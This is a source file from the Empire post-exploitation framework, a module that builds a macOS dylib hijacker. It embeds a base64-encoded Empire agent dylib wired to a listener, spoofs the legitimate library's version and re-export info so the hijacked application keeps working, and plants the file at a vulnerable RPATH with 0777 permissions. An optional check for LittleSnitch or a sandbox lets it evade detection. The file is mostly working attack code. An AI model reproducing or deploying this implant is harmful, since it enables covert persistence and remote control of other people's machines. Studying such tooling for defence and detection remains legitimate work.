mirror of
https://github.com/EmpireProject/Empire
synced 2026-06-08 10:58:16 +00:00
554 lines
17 KiB
Python
554 lines
17 KiB
Python
import base64
|
|
class Module:
|
|
|
|
def __init__(self, mainMenu, params=[]):
|
|
|
|
# metadata info about the module, not modified during runtime
|
|
self.info = {
|
|
# name for the module that will appear in module menus
|
|
'Name': 'CreateDylibHijacker',
|
|
|
|
# list of one or more authors for the module
|
|
'Author': ['@patrickwardle,@xorrior'],
|
|
|
|
# more verbose multi-line description of the module
|
|
'Description': ('Configures and Empire dylib for use in a Dylib hijack, given the path to a legitimate dylib of a vulnerable application. The architecture of the dylib must match the target application. The configured dylib will be copied local to the hijackerPath'),
|
|
|
|
# True if the module needs to run in the background
|
|
'Background' : False,
|
|
|
|
# File extension to save the file as
|
|
'OutputExtension' : "",
|
|
|
|
'NeedsAdmin' : True,
|
|
|
|
# True if the method doesn't touch disk/is reasonably opsec safe
|
|
'OpsecSafe' : False,
|
|
|
|
# the module language
|
|
'Language' : 'python',
|
|
|
|
# the minimum language version needed
|
|
'MinLanguageVersion' : '2.6',
|
|
|
|
# list of any references/other comments
|
|
'Comments': [
|
|
'comment',
|
|
'https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x'
|
|
]
|
|
}
|
|
|
|
# any options needed by the module, settable during runtime
|
|
self.options = {
|
|
# format:
|
|
# value_name : {description, required, default_value}
|
|
'Agent' : {
|
|
# The 'Agent' option is the only one that MUST be in a module
|
|
'Description' : 'Agent to execute module on.',
|
|
'Required' : True,
|
|
'Value' : ''
|
|
},
|
|
'Listener' : {
|
|
'Description' : 'Listener to use.',
|
|
'Required' : True,
|
|
'Value' : ''
|
|
},
|
|
'Arch' : {
|
|
'Description' : 'Arch: x86/x64',
|
|
'Required' : True,
|
|
'Value' : 'x86'
|
|
},
|
|
'SafeChecks' : {
|
|
'Description' : 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.',
|
|
'Required' : True,
|
|
'Value' : 'True'
|
|
},
|
|
'UserAgent' : {
|
|
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
|
|
'Required' : False,
|
|
'Value' : 'default'
|
|
},
|
|
'LegitimateDylibPath' : {
|
|
'Description' : 'Full path to the legitimate dylib of the vulnerable application',
|
|
'Required' : True,
|
|
'Value' : ''
|
|
},
|
|
'VulnerableRPATH' : {
|
|
'Description' : 'Full path to where the hijacker should be planted. This will be the RPATH in the Hijack Scanner module.',
|
|
'Required' : True,
|
|
'Value' : ''
|
|
}
|
|
}
|
|
|
|
# save off a copy of the mainMenu object to access external functionality
|
|
# like listeners/agent handlers/etc.
|
|
self.mainMenu = mainMenu
|
|
|
|
# During instantiation, any settable option parameters
|
|
# are passed as an object set to the module and the
|
|
# options dictionary is automatically set. This is mostly
|
|
# in case options are passed on the command line
|
|
if params:
|
|
for param in params:
|
|
# parameter format is [Name, Value]
|
|
option, value = param
|
|
if option in self.options:
|
|
self.options[option]['Value'] = value
|
|
|
|
def generate(self, obfuscate=False, obfuscationCommand=""):
|
|
|
|
# the Python script itself, with the command to invoke
|
|
# for execution appended to the end. Scripts should output
|
|
# everything to the pipeline for proper parsing.
|
|
#
|
|
# the script should be stripped of comments, with a link to any
|
|
# original reference script included in the comments.
|
|
listenerName = self.options['Listener']['Value']
|
|
userAgent = self.options['UserAgent']['Value']
|
|
safeChecks = self.options['SafeChecks']['Value']
|
|
arch = self.options['Arch']['Value']
|
|
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='python', userAgent=userAgent, safeChecks=safeChecks)
|
|
launcher = launcher.strip('echo').strip(' | /usr/bin/python &').strip("\"")
|
|
dylibBytes = self.mainMenu.stagers.generate_dylib(launcherCode=launcher, arch=arch, hijacker='true')
|
|
encodedDylib = base64.b64encode(dylibBytes)
|
|
dylib = self.options['LegitimateDylibPath']['Value']
|
|
vrpath = self.options['VulnerableRPATH']['Value']
|
|
|
|
script = """
|
|
from ctypes import *
|
|
def run(attackerDYLIB):
|
|
|
|
import ctypes
|
|
import io
|
|
import os
|
|
import sys
|
|
import fcntl
|
|
import shutil
|
|
import struct
|
|
import stat
|
|
|
|
|
|
LC_REQ_DYLD = 0x80000000
|
|
LC_LOAD_WEAK_DYLIB = LC_REQ_DYLD | 0x18
|
|
LC_RPATH = (0x1c | LC_REQ_DYLD)
|
|
LC_REEXPORT_DYLIB = 0x1f | LC_REQ_DYLD
|
|
|
|
(
|
|
LC_SEGMENT, LC_SYMTAB, LC_SYMSEG, LC_THREAD, LC_UNIXTHREAD, LC_LOADFVMLIB,
|
|
LC_IDFVMLIB, LC_IDENT, LC_FVMFILE, LC_PREPAGE, LC_DYSYMTAB, LC_LOAD_DYLIB,
|
|
LC_ID_DYLIB, LC_LOAD_DYLINKER, LC_ID_DYLINKER, LC_PREBOUND_DYLIB,
|
|
LC_ROUTINES, LC_SUB_FRAMEWORK, LC_SUB_UMBRELLA, LC_SUB_CLIENT,
|
|
LC_SUB_LIBRARY, LC_TWOLEVEL_HINTS, LC_PREBIND_CKSUM
|
|
) = range(0x1, 0x18)
|
|
|
|
MH_MAGIC = 0xfeedface
|
|
MH_CIGAM = 0xcefaedfe
|
|
MH_MAGIC_64 = 0xfeedfacf
|
|
MH_CIGAM_64 = 0xcffaedfe
|
|
|
|
_CPU_ARCH_ABI64 = 0x01000000
|
|
|
|
CPU_TYPE_NAMES = {
|
|
-1: 'ANY',
|
|
1: 'VAX',
|
|
6: 'MC680x0',
|
|
7: 'i386',
|
|
_CPU_ARCH_ABI64 | 7: 'x86_64',
|
|
8: 'MIPS',
|
|
10: 'MC98000',
|
|
11: 'HPPA',
|
|
12: 'ARM',
|
|
13: 'MC88000',
|
|
14: 'SPARC',
|
|
15: 'i860',
|
|
16: 'Alpha',
|
|
18: 'PowerPC',
|
|
_CPU_ARCH_ABI64 | 18: 'PowerPC64',
|
|
}
|
|
|
|
|
|
|
|
#structs that we need
|
|
|
|
class mach_header(ctypes.Structure):
|
|
|
|
_fields_ = [
|
|
|
|
("magic", ctypes.c_uint),
|
|
("cputype", ctypes.c_uint),
|
|
("cpusubtype", ctypes.c_uint),
|
|
("filetype", ctypes.c_uint),
|
|
("ncmds", ctypes.c_uint),
|
|
("sizeofcmds", ctypes.c_uint),
|
|
("flags", ctypes.c_uint)
|
|
|
|
]
|
|
|
|
class mach_header_64(ctypes.Structure):
|
|
_fields_ = mach_header._fields_ + [('reserved',ctypes.c_uint)]
|
|
|
|
class load_command(ctypes.Structure):
|
|
_fields_ = [
|
|
("cmd", ctypes.c_uint),
|
|
("cmdsize", ctypes.c_uint)
|
|
]
|
|
|
|
|
|
LC_HEADER_SIZE = 0x8
|
|
|
|
|
|
def checkPrereqs(attackerDYLIB, targetDYLIB):
|
|
|
|
|
|
if not os.path.exists(attackerDYLIB):
|
|
|
|
|
|
print 'ERROR: dylib \\'%%s\\' not found' %% (attackerDYLIB)
|
|
return False
|
|
|
|
|
|
if not os.path.exists(targetDYLIB):
|
|
|
|
|
|
print 'ERROR: dylib \\'%%s\\' not found' %% (targetDYLIB)
|
|
return False
|
|
|
|
attacker = open(attackerDYLIB)
|
|
target = open(targetDYLIB)
|
|
|
|
attackerHeader = mach_header.from_buffer_copy(attacker.read(28))
|
|
targetHeader = mach_header.from_buffer_copy(target.read(28))
|
|
|
|
if attackerHeader.cputype != targetHeader.cputype:
|
|
print 'ERROR: Architecture mismatch'
|
|
attacker.close()
|
|
target.close()
|
|
return False
|
|
|
|
return True
|
|
|
|
|
|
def findLoadCommand(fileHandle, targetLoadCommand):
|
|
|
|
|
|
MACHHEADERSZ64 = 32
|
|
MACHHEADERSZ = 28
|
|
matchedOffsets = []
|
|
#wrap
|
|
try:
|
|
header = mach_header.from_buffer_copy(fileHandle.read(MACHHEADERSZ))
|
|
if header.magic == MH_MAGIC_64:
|
|
fileHandle.seek(0, io.SEEK_SET)
|
|
header = mach_header_64.from_buffer_copy(fileHandle.read(MACHHEADERSZ64))
|
|
ncmds = header.ncmds
|
|
|
|
# Get to the load commands
|
|
current = fileHandle.tell() #save offset to load command
|
|
|
|
for cmd in range(ncmds):
|
|
|
|
offset = current
|
|
lc = load_command.from_buffer_copy(fileHandle.read(LC_HEADER_SIZE))
|
|
size = lc.cmdsize
|
|
if lc.cmd == targetLoadCommand:
|
|
|
|
matchedOffsets.append(offset)
|
|
|
|
fileHandle.seek(size - LC_HEADER_SIZE, io.SEEK_CUR)
|
|
current = fileHandle.tell()
|
|
|
|
#exceptions
|
|
except Exception, e:
|
|
|
|
#err msg
|
|
print 'EXCEPTION (finding load commands): %%s' %% e
|
|
|
|
#reset
|
|
matchedOffsets = None
|
|
|
|
return matchedOffsets
|
|
|
|
#configure version info
|
|
# 1) find/extract version info from target .dylib
|
|
# 2) find/update version info from hijacker .dylib to match target .dylib
|
|
def configureVersions(attackerDYLIB, targetDYLIB):
|
|
|
|
#wrap
|
|
try:
|
|
|
|
#dbg msg
|
|
print ' [+] parsing \\'%%s\\' to extract version info' %% (os.path.split(targetDYLIB)[1])
|
|
|
|
#open target .dylib
|
|
fileHandle = open(targetDYLIB, 'rb')
|
|
|
|
#find LC_ID_DYLIB load command
|
|
# ->and check
|
|
versionOffsets = findLoadCommand(fileHandle, LC_ID_DYLIB)
|
|
if not versionOffsets or not len(versionOffsets):
|
|
|
|
#err msg
|
|
print 'ERROR: failed to find \\'LC_ID_DYLIB\\' load command in %%s' %% (os.path.split(targetDYLIB)[1])
|
|
|
|
#bail
|
|
return False
|
|
|
|
#dbg msg
|
|
print ' found \\'LC_ID_DYLIB\\' load command at offset(s): %%s' %% (versionOffsets)
|
|
|
|
#seek to offset of LC_ID_DYLIB
|
|
fileHandle.seek(versionOffsets[0], io.SEEK_SET)
|
|
|
|
#seek to skip over LC header and timestamp
|
|
fileHandle.seek(LC_HEADER_SIZE+0x8, io.SEEK_CUR)
|
|
|
|
'''
|
|
struct dylib { union lc_str name; uint_32 timestamp; uint_32 current_version; uint_32 compatibility_version; };
|
|
'''
|
|
|
|
#extract current version
|
|
currentVersion = fileHandle.read(4)
|
|
|
|
#extract compatibility version
|
|
compatibilityVersion = fileHandle.read(4)
|
|
|
|
#dbg msg(s)
|
|
print ' extracted current version: 0x%%x' %% (struct.unpack('<L', currentVersion)[0])
|
|
print ' extracted compatibility version: 0x%%x' %% (struct.unpack('<L', compatibilityVersion)[0])
|
|
|
|
#close
|
|
fileHandle.close()
|
|
|
|
#dbg msg
|
|
print ' [+] parsing \\'%%s\\' to find version info' %% (os.path.split(attackerDYLIB)[1])
|
|
|
|
#open target .dylib
|
|
fileHandle = open(attackerDYLIB, 'rb+')
|
|
|
|
#find LC_ID_DYLIB load command
|
|
# ->and check
|
|
versionOffsets = findLoadCommand(fileHandle, LC_ID_DYLIB)
|
|
if not versionOffsets or not len(versionOffsets):
|
|
|
|
#err msg
|
|
print 'ERROR: failed to find \\'LC_ID_DYLIB\\' load command in %%s' %% (os.path.split(attackerDYLIB)[1])
|
|
|
|
#bail
|
|
return False
|
|
|
|
#dbg msg(s)
|
|
print ' found \\'LC_ID_DYLIB\\' load command at offset(s): %%s' %% (versionOffsets)
|
|
print ' [+] updating version info in %%s to match %%s' %% ((os.path.split(attackerDYLIB)[1]), (os.path.split(targetDYLIB)[1]))
|
|
|
|
#update version info
|
|
for versionOffset in versionOffsets:
|
|
|
|
#seek to offset of LC_ID_DYLIB
|
|
fileHandle.seek(versionOffset, io.SEEK_SET)
|
|
|
|
#seek to skip over LC header and timestamp
|
|
fileHandle.seek(LC_HEADER_SIZE+0x8, io.SEEK_CUR)
|
|
|
|
#dbg msg
|
|
print 'setting version info at offset %%s' %% (versionOffset)
|
|
|
|
#set current version
|
|
fileHandle.write(currentVersion)
|
|
|
|
#set compatability version
|
|
fileHandle.write(compatibilityVersion)
|
|
|
|
#close
|
|
fileHandle.close()
|
|
|
|
except Exception, e:
|
|
|
|
#err msg
|
|
print 'EXCEPTION (configuring version info): %%s' %% e
|
|
|
|
|
|
return True
|
|
|
|
#configure re-export
|
|
# ->update hijacker .dylib to re-export everything to target .dylib
|
|
def configureReExport(attackerDYLIB, targetDYLIB):
|
|
|
|
#wrap
|
|
try:
|
|
|
|
#dbg msg
|
|
print ' [+] parsing \\'%%s\\' to extract faux re-export info' %% (os.path.split(attackerDYLIB)[1])
|
|
|
|
#open attacker's .dylib
|
|
fileHandle = open(attackerDYLIB, 'rb+')
|
|
|
|
#find LC_REEXPORT_DYLIB load command
|
|
# ->and check
|
|
reExportOffsets = findLoadCommand(fileHandle, LC_REEXPORT_DYLIB)
|
|
if not reExportOffsets or not len(reExportOffsets):
|
|
|
|
#err msg
|
|
print 'ERROR: failed to find \\'LC_REEXPORT_DYLIB\\' load command in %%s' %% (os.path.split(attackerDYLIB)[1])
|
|
|
|
#bail
|
|
return False
|
|
|
|
#dbg msg
|
|
print ' found \\'LC_REEXPORT_DYLIB\\' load command at offset(s): %%s' %% (reExportOffsets)
|
|
|
|
'''
|
|
struct dylib { union lc_str name; uint_32 timestamp; uint_32 current_version; uint_32 compatibility_version; };
|
|
'''
|
|
|
|
#update re-export info
|
|
#TODO: does the current and compat version need to match? we can easily set it
|
|
for reExportOffset in reExportOffsets:
|
|
|
|
#seek to offset of LC_REEXPORT_DYLIB
|
|
fileHandle.seek(reExportOffset, io.SEEK_SET)
|
|
|
|
#seek to skip over command
|
|
fileHandle.seek(0x4, io.SEEK_CUR)
|
|
|
|
#read in size of load command
|
|
commandSize = struct.unpack('<L', fileHandle.read(4))[0]
|
|
|
|
#dbg msg
|
|
print ' extracted LC command size: 0x%%x' %% (commandSize)
|
|
|
|
#read in path offset
|
|
pathOffset = struct.unpack('<L', fileHandle.read(4))[0]
|
|
|
|
#dbg msg
|
|
print ' extracted path offset: 0x%%x' %% (pathOffset)
|
|
|
|
#seek to path offset
|
|
fileHandle.seek(reExportOffset + pathOffset, io.SEEK_SET)
|
|
|
|
#calc length of path
|
|
# it makes up rest of load command data
|
|
pathSize = commandSize - (fileHandle.tell() - reExportOffset)
|
|
|
|
#dbg msg
|
|
print ' computed path size: 0x%%x' %% (pathSize)
|
|
|
|
#read out path
|
|
data = targetDYLIB + '\\0' * (pathSize - len(targetDYLIB))
|
|
fileHandle.write(data)
|
|
|
|
#path can include NULLs so lets chop those off
|
|
#path = path.rstrip('\0')
|
|
|
|
#dbg msg(s)
|
|
#print ' extracted faux path: %%s' %% (path)
|
|
|
|
#close
|
|
fileHandle.close()
|
|
|
|
#dbg msg
|
|
print ' [+] updated embedded re-export'
|
|
|
|
#wrap
|
|
|
|
#handle exceptions
|
|
except Exception, e:
|
|
|
|
#err msg
|
|
print 'EXCEPTION (configuring re-exports): %%s' %% e
|
|
|
|
#bail
|
|
return False
|
|
|
|
return True
|
|
|
|
def configure(attackerDYLIB, targetDYLIB):
|
|
|
|
#configure version info
|
|
# ->update attacker's .dylib to match target .dylib's version info
|
|
if not configureVersions(attackerDYLIB, targetDYLIB):
|
|
|
|
#err msg
|
|
print 'ERROR: failed to configure version info'
|
|
|
|
#bail
|
|
return False
|
|
|
|
#configure re-export
|
|
# ->update attacker's .dylib to re-export everything to target .dylib
|
|
if not configureReExport(attackerDYLIB, targetDYLIB):
|
|
|
|
#err msg
|
|
print 'ERROR: failed to configure re-export'
|
|
|
|
#bail
|
|
return False
|
|
|
|
return True
|
|
|
|
|
|
#target .dylib
|
|
targetDYLIB = "%s"
|
|
|
|
vrpath = "%s"
|
|
|
|
|
|
#configured .dylib
|
|
configuredDYLIB = ""
|
|
|
|
#init output path for configured .dylib
|
|
configuredDYLIB = os.path.split(attackerDYLIB)[0]+'/' + os.path.split(targetDYLIB)[1]
|
|
|
|
#dbg msg
|
|
print ' [+] configuring %%s to hijack %%s' %% (os.path.split(attackerDYLIB)[1], os.path.split(targetDYLIB)[1])
|
|
|
|
#check prereqs
|
|
# ->i.e. sanity checks
|
|
if not checkPrereqs(attackerDYLIB, targetDYLIB):
|
|
|
|
#err msg
|
|
print 'ERROR: prerequisite check failed\\n'
|
|
|
|
#bail
|
|
return ""
|
|
|
|
#configure the provide .dylib
|
|
if not configure(attackerDYLIB, targetDYLIB):
|
|
|
|
#err msg
|
|
print 'ERROR: failed to configure %%s\\n' %% (os.path.split(targetDYLIB)[1])
|
|
|
|
#bail
|
|
return ""
|
|
|
|
#dbg msg
|
|
print ' [+] copying configured .dylib to %%s' %% (configuredDYLIB)
|
|
|
|
#make a (local) copy w/ name
|
|
shutil.copy2(attackerDYLIB, configuredDYLIB)
|
|
|
|
os.remove(attackerDYLIB)
|
|
if not os.path.exists(os.path.split(vrpath)[0]):
|
|
os.makedirs(os.path.split(vrpath)[0])
|
|
|
|
os.chmod(configuredDYLIB, 0777)
|
|
shutil.copy2(configuredDYLIB, vrpath)
|
|
|
|
os.remove(configuredDYLIB)
|
|
#dbg msg
|
|
|
|
print '\\nHijacker created, renamed to %%s, and copied to %%s' %% (configuredDYLIB,vrpath)
|
|
|
|
import base64
|
|
import uuid
|
|
encbytes = "%s"
|
|
filename = str(uuid.uuid4())
|
|
path = "/tmp/" + filename + ".dylib"
|
|
decodedDylib = base64.b64decode(encbytes)
|
|
temp = open(path,'wb')
|
|
temp.write(decodedDylib)
|
|
temp.close()
|
|
run(path)
|
|
""" % (dylib,vrpath,encodedDylib)
|
|
|
|
return script
|